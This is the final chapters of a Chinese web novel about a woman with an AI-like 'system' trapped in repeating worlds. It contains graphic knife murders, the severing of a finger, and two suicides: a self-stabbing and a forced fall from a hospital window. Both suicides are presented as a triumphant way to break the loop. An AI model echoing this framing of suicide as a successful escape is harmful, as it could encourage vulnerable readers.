她话音刚落,还没来得及转身逃跑就被季白一刀封喉。 鲜红的血喷溅而出,染红身后的高档沙发,她瞪着眼捂着脖子无力地倒在血泊中失去了所有生机。 原本为了一百万打算拼一把的佣人们顿时又偃旗息鼓,吓得脸都白了,想要尖叫又怕引起季白的注意将她也一刀杀了。 季白冷冷看了他们一眼,命令道:“你们所有人都去厨房。” 众人看着她手中还在滴血的刀,吓得腿肚子直打颤,一个个都低着头往厨房去,生怕这位凶神一个不高兴给他们一刀。 季白见所有人都进去后,重重关上门将他们锁在里面,随后抬眸朝二楼看去,刚刚楼下那么大的动作,她不信檀国卫就一点没发现。 【系统,檀国卫在哪?】 檀国卫在妻子大叫时就有所察觉,他正要下来看个清楚就见季白干净利落地一刀杀了他的妻子,他登时吓得腿软,想也不想地就往回跑。 他第一反应就要打求救电话,可拨出去的电话没有一个打得通,他只得丢掉手机,着急忙慌地从另一个楼梯往地下车库跑,他跑得很快,车库的大门距离他不过十步远,眼看就要离开这栋可怖的别墅,可身后却传来一道如女鬼索命般的声音。 “你要跑到哪里去?” “你以为你还能跑得掉吗?” 檀国卫身子一僵,随即大喊着救命朝门口奔去,可因为极度的紧张竟一头摔倒在地,疼得他再也爬不起来。 他回眸就瞧见逼至眼前的匕首,吓得面色苍白,一个打滚就从地上爬起来跪在季白面前。 “小白,有话好好说,千万别动手,我……我知道我不是人。”檀国卫一边说着一边狠狠打了自己几个耳光,“我不是东西,但看在……看在我小时候也曾照顾过你,看在我是你母亲最爱的男人的份上,饶我一条命。” “我把所有的东西都还给你,只求你放过我。” 季白一刀砍下他的手指,咬牙道:“你还有脸提我的母亲?!” “啊!”檀国卫捂着手惨叫一声。 “呵。”季白冷笑一声,“是啊,母亲最爱你了,你就下去好好陪我的母亲吧。” 檀国卫大口大口喘着气,在生死之间,他急声道:“小白,你难道就不想知道你母亲临走前对你说了什么吗?” 季白举刀的手停了下来,檀国卫眼中闪过一抹窃喜,连忙道:“你留我一条命,我告诉你啊。” 季白垂眸盯着他的眼睛,就在檀国卫以为季白要放过他时,却听见季白忽而轻笑了一声,笑得轻蔑又凉薄。 “檀国卫,比起母亲的遗言,我更想让你死!” 季白毫不犹豫地一刀捅进檀国卫的胸口,又恶狠狠地抓着匕首在他的心上转了个圈,随后蓦地抽出了刀看着他瞪着不甘的双目倒在了血泊中,可她心中的怨与恨并没有随着他的死亡而消散,反而多了一分无处消解的迷茫。 她恨之入骨的仇人死了,可她的母亲,她平静而幸福的生活也再回不来了。 季白闭上眼,平复着心绪,几息之后,随手将刀扔至一边,满身是血地打开车库的门朝外走去。 后/庭院的草木开得茂盛,天蓝得像是被洗过一样,那么高,那么澈,阳光照在她的身上,她却感受不到半分暖意。 她从兜里取出另一把匕首,拔开刀鞘放在手中把玩,低垂的眉眼与周身死寂的气质让系统有一种不安的恐慌。 【宿主,你要做什么?!】 季白手指微动,让匕首在她的手中打了个转,随后突然握住刀柄将尖口对准胸腔里那颗不断跳动的心脏。 【系统,你说副本世界是假的,那我在的世界呢,是不是也从来不曾存在过?】 【什么?】 季白不再回答它,而是猛地将刀插进了自己的心脏,鲜血喷涌而出,疼得她几乎快要站不住。 她闭上眼任由身子重重向后倒去,感受着生命力在她的身体里一点点地流逝。 她要用她的死亡证明一件事。 第132章【大结局】 第132章 大结局 “快,纱布,血止住了。” “病人意识涣散……” 无尽的黑暗中传来纷乱的声音,吵得她头疼,她想要睁开眼看一看,身体却如同被一块重石压着般不能动弹。 她再次失去了意识,等她再次清醒时只觉全身上下都痛得厉害,好似是被人碾碎了一般。 季白眼睫微动,还未睁开眼,耳边就传来一句欣喜而又兴奋的声音。 “太好了,你终于醒了!” “你知道你昏迷多久了吗,我们差点以为你再也醒不过来了。” 季白缓缓睁开眼,本能地就要动动胳膊可还未抬起一阵钻心的疼痛就朝她袭来,痛得她险些再次晕过去,脑门上挂满了汗。 小护士连忙温柔地按着她,急声道:“你刚醒,身上的伤还没有恢复,千万不能乱动。” 季白看向自己缠满绷带的胳膊,问:“我的胳膊是怎么回事?” “你忘了吗?你出车祸了啊,身上的伤是被撞得。” 小护士说完话后似乎是怕季白多想,又温柔地安抚道:“你别紧张,别着急,你的头受过撞击,一时记不清楚是正常现象。” “车祸?”季白看了自己一眼,目光落在自己的胸口上,喃喃自语,“我不是因为用刀捅进自己的心脏进的医院吗?” 季白这番话说得莫名其妙,吓得小护士看季白的眼神都变了。 这位病人送进来时,就听说是精神病院跑出来的疯子,是在被主治医生带回来的路上出的车祸。 用刀捅自己的心脏?哪有正常人会做这种事? 小护士咽了咽口水,生怕季白等会疯起来也给她一刀。 季白看向小护士问:“我怎么出的车祸?是我被抓走的路上出的事故吗?” 季白想了想也许是她杀过人后,警察及时赶到并带走了她,结果路上又像上次一样出了车祸。 她当时明明下得是死手,却还是安然无恙地醒过来了,是系统的功劳吗? 所以它的力量不单单可以影响副本世界,还可以在现实世界中救下一位本该死去的人。 或者说……她以为的现实世界也不现实。 小护士听得更懵了。 “什……什么被抓?哦,你是说被精神病院的医生带回精神病院吗?”小护士松了口气,“你终于想起来了。” “没错,出车祸的时候你和你的主治医生在一辆车上。” 季白皱了皱眉,“主治医生?陶嘉荣也来了?不对,我不应该是因为杀了人被赶来的警察带走的吗?” 小护士一听这话顿时吓得小脸苍白,“杀……杀人?你还杀了人?!” 季白眉头一拧,察觉出事情不太对劲。 “你不知道我杀了两个人?对了,警察呢?”季白探头朝病房外张望,“我这样的重犯就算住院也应该有警察监管吧?” 小护士这下是彻底不敢搭话了,甚至还悄悄往后退了几步。 这个人也太疯了。 季白抬眸看向小护士,轻笑一声。 “我知道了,你们又想骗我是不是?可我的仇已经报了,人也不想活了,你们还想从我这里拿到什么?” 季白见小护士不答话也不再注意她,开始在脑海中呼叫系统,可她喊了半天,系统却半点回应也没有,好似是再次消失在她的脑海中了。 小护士退至一个安全距离后,惊慌失措地试图再次安抚她,“你冷静一点,这里是医院,不会有人伤害你的。” “你去忙吧,这里交给我。”一道理性却又温润的声音从小护士身后传来,小护士回头一看就对上一张俊美的面庞,顿时红了脸。 小护士认识他,陶嘉荣,是位精神病医生,也是季白的主治医生。 “好。”小护士小声应了一句,随后又对陶嘉荣嘱咐了几句,就飞也似得逃走了。 陶嘉荣稳步走到季白面前,压低了声音问:“季白,你现在还好吗?” 季白抬眸看向陶嘉荣,想起不久前陶嘉荣在这间病房里对她说的话。 如今系统联系不上,她只能靠自己破除这个怪圈了。 “陶医生,你相信平行世界吗?” 同样的问题,却是截然不同的反应。 他抬手推了推眼镜,语气温和却又带着专业性的冷漠,“告诉我,你又想起了什么,让你突然对平行世界产生了兴趣。” 季白静静看着他,眼睛眨了眨,忽而笑着说。 “陶医生你和我记忆里的样子又不一样了。” “我想起了我在医院躺了很久后苏醒,你十分激动地告诉我,平行世界是真实存在的,你要和我一起去找,还说要帮我离开精神病院。” 陶医生眉头微不可闻地皱了皱,但还是继续安静地听她讲,口袋里的手机则在安静地记录着季白的每一句话。 “我骗了你,我让你去帮我买排骨饭,然后趁机溜出去病房去往西城玫瑰园32号。”季白嘴角的笑意越发灿烂,“你猜我找到了什么?我找到了我一直以来的仇人——檀国卫。” “我杀了他,杀了他的妻子,然后又自杀了。” “哈哈哈哈。”季白故意大笑着,使她看起来越发像一个疯子。 陶嘉荣安静听完后,出声询问。 “大仇得报的感觉怎么样?” “很开心。” 陶嘉荣垂下眼帘看着她的眼睛,语气平静却又带着一股撕碎一切的残忍。 “你知道的吧,那些都不过是你的臆想,你没有仇人,没有报仇,也没有自杀,你还活着,你之所以现在在医院躺着是因为我们在回医院的路上出了车祸。” “臆想?假的?” “不然呢?”陶嘉荣逼近她,一字一句都在说她是个疯子,“你摸摸你的胸口有刀伤吗?” “西城玫瑰园32号?”陶嘉荣嘴角勾起一抹笑,掏出手机在地图上输入地址又递给季白看,“地图上有这个地方吗?” “行凶杀人?你找得到警方通报和新闻吗?” “季白,都是假的,所有的一切都是假的。” 陶嘉荣说着捧住季白的脸,一字一句地说:“季白,你的病又重了。” “我……有病?”季白清澈的眼睛逐渐变得迷惘,“我有病。” 陶嘉荣嘴角勾起一抹笑意,轻声说:“别担心,我会治好你。” “你要乖乖吃药配合我,知道吗?” 季白眼神呆滞地轻轻点了点头,似乎完全认同陶嘉荣的说法,认为自己是一个有病的人。 “我……我会认真吃药,配合陶医生的治疗。”季白话落,顿了顿,却又突然话锋一转,眼中浮现出一抹讥讽的笑意,“这是不是陶医生想让我说的话?” “可我从来没有对陶医生说过我自杀的方式,陶医生怎么知道我的伤应该在胸口?” 陶嘉荣面色一凝,眼底闪过几分复杂的情绪,还不等他开口说话,季白就先慢条斯理地幽幽道:“除非……陶医生拥有着和我相同的一段记忆。” 陶嘉荣在最初的错愕后,神色很快又平静了下来,“我知道你很多疑,你能怀疑我,我很高兴,说明你的思路还很清晰。” “你是没有对我说过你是如何自杀的,但你没有对小护士说吗?我都听见了。” “我是你的主治医生,你的一言一行都在我的观测之下。” 季白轻笑。 “一言一行都在你的观测之下?那你观测到我现在想做什么吗?我亲爱的陶医生。” 陶嘉荣眼中闪过一抹警惕,正要往后退几步远离她,可他还没来得及退开就被季白反手揪住衣领压在床上。 “跑什么?陶医生也会害怕吗?” 陶嘉荣抬眸看她,伸手箍住她的腰,似乎是怕她跑了,又似乎是怕她摔下去。 “我知道我说什么,你都不会信。”陶嘉荣说,“你想要答案,等你身上的伤好了我陪你去一一验证,但是现在……” 陶嘉荣说话的声音顿了顿,语气又变得无比温和,“你身上伤还没好,再折腾下去刚缝合好的伤口又会裂开,你伤得很重,胳膊和腿部的骨头都断了,先好好休息,好吗?” 他的一字一句都好似是在为季白好,可季白却敏锐地察觉到他每说一句话她身体上的疼痛就会加重一份,沉重而疼痛的身体成了锁住她轻盈灵魂的牢笼。 额头浸上一层冷汗,嘴唇淡到发白,揪着他衣领的手也在抖,可眼神却又如刀般锐利。 “陶医生还真是位热心肠的人。”季白眼中露出一抹讥讽的笑意,但下一刻却揪着他从高高的床上一起滚了下去,落地时陶嘉荣在下承担了大部分伤*害,痛得他忍不住闷哼了一声。 “季白,你到底要做什么?”陶嘉荣微微皱眉,再也维持不住脸上的平静。 “做什么?”季白冷笑,“我身上的伤,难道不是你故意弄出来的吗?不,不止是我,整个世界都在你的掌控中,是你让我一次又一次地误以为我有问题。” 季白说完这番话,只觉那股一直禁锢着自己身体的神秘力量蓦地消失了,体内瞬时涌上一股强大的力量。 陶嘉荣:“我不懂你在说什么。” 季白冷笑一声,将陶嘉荣从地上拽起来抵在床边。 “这种时候了,还打算继续装下去吗?” “查奥斯,如果这一次我和你一起死,世界还能重来吗?” 陶嘉荣眼中闪过一抹不可置信的惊诧,正想要转身逃跑却被季白死死抱住拉着他一起从十二楼的窗户上跳了下去。 凛冽的风吹起发丝,在急速下降的空间里,季白看见陶嘉荣的眼神变得惊慌不安。 她嘴角勾起一抹笑意,满意地闭上眼。 只听“砰”地一声,鲜血在水泥地炸开,人群逐渐聚集,紧接着是警车的轰鸣。 凌乱的病房经过清理很快又住进一位新的病人,他躺在病床上取过一旁的遥控器随手将墙面上的电视机打开,电视里正在播放一档新闻节目。 「今日上午十一时二十分,梧桐区仁嘉医院发生一起坠楼时间,据警方调查系精神病人季某突发疾病强拉主治医生陶某跳楼,截至目前,两人均已死亡,关于本案的更多情况,警方正在调查中。」 这里是……哪? 季白再次睁开眼发现自己来到一个完全陌生的地方,透过一层薄膜般的透明物质,是浩渺无垠的星空,一颗颗星石由远及近,由大到小散落在漆黑的世界。 没有人,没有声音。 一种天地间只剩她一人的孤寂感油然而生,纷乱的记忆涌入脑海中,她赌对了。 这场没有终点的轮回终于在她的手中被终结,身后传来轻浅的脚步声,季白转过身去对上一双淡漠的眼眸,可他的眼眶却又分明泛着红。 他静静凝望着她一句话也不说,季白记得他,是她的系统,也是她唯一的助手。 季白率先笑了。 “好久不见,我回来了。” 淡漠漆黑的眼眸涌上泪水,他别过头去,别扭地说:“我还以为你要永远留在那儿,你不在我一个人也过得很好,哼,甚至更好,我可以自由地掌控这里,再也不用听你的命令而妥协……” 他话还没说完,一道脆生生的童音打断了他。 “妈妈!” 季白微微挑了挑眉,转眸看向一个粉雕玉琢的小孩,平心而论长得很像她。 但她可不记得自己有孩子。 “你终于回来了,你不在的时候,爸爸常常看着你流眼泪,还骂你是个笨女人,为什么一直想不起来,为什么会沉醉在他们的美色中,还说你很花心,可说着说着又哭了。” “爸爸妈妈?”季白疑惑地重复了一遍,转眸看向对面正在别扭的男人。 男人脸上浮上一抹红晕,“别听他瞎说。” “什么爸爸妈妈,是他自己吸取了一些知识后,就坚持以人类的方式称呼我们,你走以后,我忙不过来就在实验室创造了他负责辅助我的工作。” 季白闻言轻笑一声,低下身子摸了摸他的发顶:“所以我在清理小世界时,有时候话多的系统就是你对不对。” 小孩点了点头,随后又心虚地别过脸,这点倒是和男人一模一样。 “嗯……有时候是我啦……” “但……但我有时候会觉得无聊,想溜出去玩,就让电子管家奥维帮我接管了。” 季白了然,那个冷漠的电子音就是奥维了。 “好了。”男人快步走上前,“别废话了。” “几个小世界的暗物质已经清理的差不多了。”男人指着另一侧的电子屏幕说,“但那几位主角也因你觉醒了更高一级的意识,若放任不管,总有一天会找到这儿。” 季白的目光从电子屏幕上移开,语气冷淡地不带一丝感情。 “不会的,他们不会找到这儿。” 季白说:“比起他们,我更在意查奥斯。” “单凭他一人不能困住我,也不能压制你,他与黑暗物质做了交换。” 季白用得是肯定句。 黑暗物质一直试图入侵她的领地,她几次都打了回去,但在最后一次战斗时,她没有留意让几缕黑暗物质入侵了小世界,若是不加以清理,几个小世界很快就会彻底沦为黑暗物质的乐园,再从内部瓦解她的所有力量。 季白只能以神魂下场清理各个世界的暗物质,却在做到最后一个世界时遭到了算计,从而开启了一遍又一遍的轮回。 “嗯。”男人垂下头,眼中满是懊恼,“抱歉,我没能抓住他。” “他毕竟曾是一个小世界的开创者,如今又与黑暗物质勾结,后面会变得更棘手。” “没事。”季白自信淡然地坐在驾驶位上,“我回来了,我能打败他一次,就还有第二次。” 季白转过头,挑眉笑问:“还是说你害怕了?” “怕?” “我都不知道我活了多久,人世风景,酸甜苦辣,我都一一品尝过,若这趟旅程的终点是与你一起同归虚无,会是我最美的结局。” 男人弯眸浅笑,“我很满意。” 季白发出一声短促的轻笑,眼中满是灵动的狡黠,“那恐怕要让你失望了,我们还得活呢。” 季白驱动着空间舰,一头扎进浩渺的星空中,灰暗与漂浮的碎石很快被她甩在了身后。 【作者有话说】 终于又完结了一本,感谢各位读者宝贝能看到这里[三花猫头][三花猫头][三花猫头]